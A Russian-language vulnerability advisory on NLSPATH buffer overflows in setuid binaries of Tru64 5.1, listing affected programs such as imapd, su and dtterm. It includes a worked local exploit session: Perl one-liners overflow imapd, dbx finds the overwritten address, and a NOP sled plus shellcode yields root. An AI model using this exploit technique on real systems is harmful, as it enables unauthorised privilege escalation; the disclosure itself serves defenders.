Обнаружена возможность удаленного переполнения буфера в операционной системе Tru64 в множестве системных библиотек и утилит. Tru64 поставляется с собственной методикой защиты стека от выполнения в нем кода. Однако защита не справляется с обнаруженными уязвимостями, которые могут использоваться местным пользователем для выполнения произвольного кода с повышенными привилегиями. Уязвимые программы:
/usr/dt/bin/dtprintinfo
/usr/dt/bin/dtsession
/usr/dt/bin/dtaction
/usr/dt/bin/dtterm
/usr/bin/X11/dxsysinfo
/usr/bin/X11/dxconsole
/usr/bin/X11/dxpause
/usr/bin/X11/dxterm
/usr/tcb/bin/dxchpwd
/usr/tcb/bin/edauth
/usr/sbin/imapd
/usr/bin/mh/msgchk
/usr/bin/mh/inc
/usr/bin/deliver
/usr/bin/rdist
/usr/bin/uucp
/usr/bin/uux
/usr/bin/su
Пример эксплуатации:
% uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha
% id
uid=208(stripey) gid=15(users)
% ls -la /usr/sbin/imapd
-rws--x--x 1 root bin 789216 Aug 24 2000 /usr/sbin/imapd
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";
exec("/usr/sbin/imapd")'
Segmentation fault
% su
Password:
# cp /usr/sbin/imapd test
# chmod a+r test
# exit
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("dbx","./test")'
(dbx) r
signal Segmentation fault at
warning: PC value 0x504030200 not valid, trying RA
warning: RA value 0x504030200 not valid, trying text start
warning: text start 0x120000000 not valid, trying data start
warning: Using data start as a text address -- traceback will not work
> [., 0x140000000] call_pal cflush
(dbx) 0x140014280/2X
0x0000000140014280: 0x4141414141414141 0x4141414141414141
(dbx) q
% perl
-e'$ENV{"NLSPATH"}=(pack("l",0x47ff041f)x227).
(`./sc`).pack("ll",0x40014280,0x1);exec("/usr/sbin/imapd")'
# id
uid=208(stripey) gid=15(users) euid=0(root)
#
Уязвимость обнаружена в Tru64 5.1.